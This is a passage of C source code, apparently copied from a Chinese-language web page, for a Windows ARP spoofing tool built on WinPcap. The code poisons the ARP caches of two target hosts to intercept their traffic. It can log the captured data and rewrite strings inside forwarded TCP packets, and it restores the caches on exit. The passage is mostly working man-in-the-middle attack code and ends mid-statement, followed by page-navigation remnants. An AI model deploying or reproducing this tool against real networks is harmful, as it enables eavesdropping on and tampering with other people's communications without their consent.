#include <stdio.h>
#include <pcap.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "wpcap.lib")
#include "iphlpapi.h"
#include "protoinfo.h"
#include "spoof.h"
#include "tcp.h"
#include "scan.h"
#include "replace.h"
//
// 存储要替换的字符串的链表结构
//
typedef struct tagSTRLINK
{
char szOld[256];
char szNew[256];
struct tagSTRLINK *next;
}STRLINK, *PSTRLINK;
HANDLE hThread[2]; // 两个发送RARP包的线程
unsigned short g_uPort; // 要监视的端口号
pcap_t *adhandle; // 网卡句柄
HANDLE g_hEvent; // 捕捉 Ctrl+C
int g_uMode; // 欺骗标志 0 表示单向欺骗, 1表示双向欺骗
BOOL bIsReplace = FALSE; // 是否对转发的数据进行替换
BOOL bIsLog = FALSE; // 是否进行数据保存
char szLogfile[MAX_PATH]; // 要保存数据的文件名
// 对应ARPSPOOF结构中的成员
unsigned char ucSelf[6], ucIPA[6], ucIPB[6];
char szIPSelf[16], szIPA[16], szIPB[16], szIPGate[16];
// 初始化链表
PSTRLINK strLink = (PSTRLINK) malloc(sizeof(STRLINK));
char TcpFlag[6]={ 'F','S','R','P','A','U' }; //定义TCP标志位,分析数据包时用
BOOL InitSpoof(char **);
void ResetSpoof();
void Help();
//
// 格式化copy函数,主要是为了替换 '\r', '\n'字符
//
BOOL fstrcpy(char *szSrc, char *szDst)
{
unsigned int i, j;
for (i = 0, j=0; i < strlen(szSrc); i++, j++)
{
if (szSrc[i] == '\\' && szSrc[i + 1] == 'r') // Replace "\r"
{
szDst[j] = '\r';
i ++;
}
else if (szSrc[i] == '\\' && szSrc[i + 1] == 'n') // Replace "\n"
{
szDst[j] = '\n';
i ++;
}
else if (szSrc[i] != '\n' && szSrc[i] != '\0')
{
szDst[j] = szSrc[i];
}
else
{
return TRUE;
}
}
szDst[j + 1] = '\0'; // add '\0'
return TRUE;
}
//
// 把文件中的规则存储到链表中
// 入口参数 szJobfile ==> 规则文件名
// 出口参数 strLink ==> 指向链表头的指针
//
BOOL ReadJob(char *szJobfile, PSTRLINK strLink)
{
FILE *fp;
char szBuff[256], *p = NULL;
if ((fp = fopen(szJobfile, "rt")) == NULL)
{
printf("Job file open error\n");
return FALSE;
}
PSTRLINK pTmp = strLink; // 保存原指针
while (fgets(szBuff, sizeof(szBuff), fp))
{
if (strcmp(szBuff, "----"))
{
memset(szBuff, 0, sizeof(szBuff));
memset(strLink->szOld, 0, sizeof(strLink->szOld));
fgets(szBuff, sizeof(szBuff), fp);
if (! fstrcpy(szBuff, strLink->szOld))
{
printf("[!] job file format error ..\n");
return FALSE;
}
fgets(szBuff, sizeof(szBuff), fp);
if (strcmp(szBuff, "----"))
{
memset(szBuff, 0, sizeof(szBuff));
memset(strLink->szNew, 0, sizeof(strLink->szNew));
fgets(szBuff, sizeof(szBuff), fp);
if (! fstrcpy(szBuff, strLink->szNew))
{
printf("[!] job file format error ..\n");
return FALSE;
}
}
else
{
printf("Replace Job file format error, \
used arpspoof /n release a new job file\n");
return FALSE;
}
strLink->next = (PSTRLINK) malloc(sizeof(STRLINK));
strLink = strLink->next;
strLink->next = NULL;
}
}
fclose(fp);
strLink = pTmp; // 恢复原指针
return TRUE;
}
//
// 把数据写入文件
// 入口参数: szLogfile ==> 日志文件名 data ==> 指向数据块的空指针 size ==> 数据块大小
// 返回值类型 Boolean
//
BOOL SaveLog(char szLogfile[], const void *data, unsigned int size)
{
HANDLE hFile;
DWORD dwBytes;
hFile = CreateFile(szLogfile, GENERIC_WRITE, FILE_SHARE_WRITE, NULL,
OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE)
return FALSE;
SetFilePointer(hFile, NULL, NULL, FILE_END);
WriteFile(hFile, data, size, &dwBytes, NULL);
CloseHandle(hFile);
return TRUE;
}
//
// 捕获控制台事件的函数,主要是处理程序中断事务
//
BOOL CtrlHandler( DWORD fdwCtrlType )
{
switch (fdwCtrlType)
{
// Handle the CTRL-C signal.
case CTRL_C_EVENT:
case CTRL_CLOSE_EVENT:
case CTRL_BREAK_EVENT:
case CTRL_LOGOFF_EVENT:
case CTRL_SHUTDOWN_EVENT:
ResetSpoof(); // 恢复欺骗主机的arp cache
return TRUE;
default:
return FALSE;
}
}
//
// 为公用变量赋值,初始化参数
//
BOOL InitSpoof(char **argv)
{
// IPSelf, ucSelf 已经在打开网卡时初始化过了
memset(ucIPA, 0xff, 6);
memset(ucIPB, 0xff, 6);
memset(szIPA, 0 ,16);
memset(szIPB, 0 ,16);
if (!GetMac((char *) argv[1], ucIPA))
{
printf("[!] Error Get Mac Address of %s\n", argv[1]);
return FALSE;
}
if (!GetMac((char *) argv[2], ucIPB))
{
printf("[!] Error Get Mac Address of %s\n", argv[2]);
return FALSE;
}
strcpy((char *) szIPA, (char *) argv[1]);
strcpy((char *) szIPB, (char *) argv[2]);
StaticARP((unsigned char *) szIPA, ucIPA);
StaticARP((unsigned char *) szIPB, ucIPB);
g_uPort = atoi(argv[3]);
g_uMode = atoi(argv[5]);
return TRUE;
}
//
// 显示ARP欺骗信息 (调试用)
// 加延迟是为了等待参数传递,因为函数公用一个ARPSPOOF变量
//
void SpoofInfo(PARPSPOOF arpspoof)
{
/*
printf("Spoof %s %s MAC %.2X-%.2X-%.2X-%.2X-%.2X-%.2X\n",
arpspoof->szTarget, arpspoof->szIP,
arpspoof->ucPretendMAC[0], arpspoof->ucPretendMAC[1],
arpspoof->ucPretendMAC[2], arpspoof->ucPretendMAC[3],
arpspoof->ucPretendMAC[4], arpspoof->ucPretendMAC[5]
);
*/
Sleep(100);
}
//
// 处理ARP欺骗例程,开始Spoof
//
void ARPSpoof()
{
PARPSPOOF arpspoof = (PARPSPOOF) malloc(sizeof(ARPSPOOF));
arpspoof->adhandle = adhandle;
memcpy(arpspoof->ucSelfMAC, ucSelf, 6);
// Spoof IP1 -> IP2
strcpy((char *) arpspoof->szTarget, szIPA);
memcpy(arpspoof->ucTargetMAC, ucIPA, 6);
strcpy((char *) arpspoof->szIP, szIPB);
memcpy(arpspoof->ucIPMAC, ucIPB, 6);
memcpy(arpspoof->ucPretendMAC, ucSelf, 6);
hThread[0] = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)SpoofThread,
(LPVOID) arpspoof, NULL, NULL);
SpoofInfo(arpspoof);
if (g_uMode == 1) // 如果双向欺骗
{
// Spoof IP2 -> IP1
strcpy((char *) arpspoof->szTarget, szIPB);
memcpy(arpspoof->ucTargetMAC, ucIPB, 6);
strcpy((char *) arpspoof->szIP, szIPA);
memcpy(arpspoof->ucIPMAC, ucIPA, 6);
memcpy(arpspoof->ucPretendMAC, ucSelf, 6);
hThread[1] = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)SpoofThread,
(LPVOID) arpspoof, NULL, NULL);
SpoofInfo(arpspoof);
}
}
//
// 重置ARP欺骗,恢复受骗主机的ARP cache
// 和ARPSpoof做相反操作
//
void ResetSpoof()
{
printf("[+] Reseting .....\n");
TerminateThread(hThread[0], 0);
TerminateThread(hThread[1], 0);
PARPSPOOF arpspoof = (PARPSPOOF) malloc(sizeof(ARPSPOOF));
arpspoof->adhandle = adhandle;
strcpy((char *) arpspoof->szTarget, szIPA);
memcpy(arpspoof->ucTargetMAC, ucIPA, 6);
strcpy((char *) arpspoof->szIP, szIPB);
memcpy(arpspoof->ucIPMAC, ucIPB, 6);
memcpy(arpspoof->ucPretendMAC, ucIPB, 6);
memcpy(arpspoof->ucSelfMAC, ucSelf, 6);
hThread[0] = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)SpoofThread,
(LPVOID) arpspoof, NULL, NULL);
if(g_uMode == 1)
{
Sleep(200);
strcpy((char *) arpspoof->szTarget, szIPB);
memcpy(arpspoof->ucTargetMAC, ucIPB, 6);
strcpy((char *) arpspoof->szIP, szIPA);
memcpy(arpspoof->ucIPMAC, ucIPA, 6);
memcpy(arpspoof->ucPretendMAC, ucIPA, 6);
hThread[1] = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)SpoofThread,
(LPVOID) arpspoof, NULL, NULL);
}
printf("[-] Sleep 5s ");
for(int i = 0; i < 12; i++, Sleep(300))
printf(".");
printf("\n");
TerminateThread(hThread[0], 0);
TerminateThread(hThread[1], 0);
// pcap_breakloop后,所有对网卡的操作都会使用程序中止,切记
pcap_breakloop(adhandle);
}
//
// 替换数据包中内容, 重新计算校验和
//
void ReplacePacket(const u_char *pkt_data, unsigned int pkt_len)
{
ETHeader *eh;
IPHeader *ih;
TCPHeader *th;
u_int ip_len;
eh = (ETHeader *) pkt_data;
ih = (IPHeader *) (pkt_data + 14);
ip_len = (ih->iphVerLen & 0xf) * 4;
th = (TCPHeader *) ((u_char*)ih + ip_len);
// 得到TCP数据包的指针和长度
unsigned char *datatcp = (unsigned char *) ih + sizeof(_IPHeader)
+ sizeof(struct _TCPHeader);
in
- 1
- 2
前往页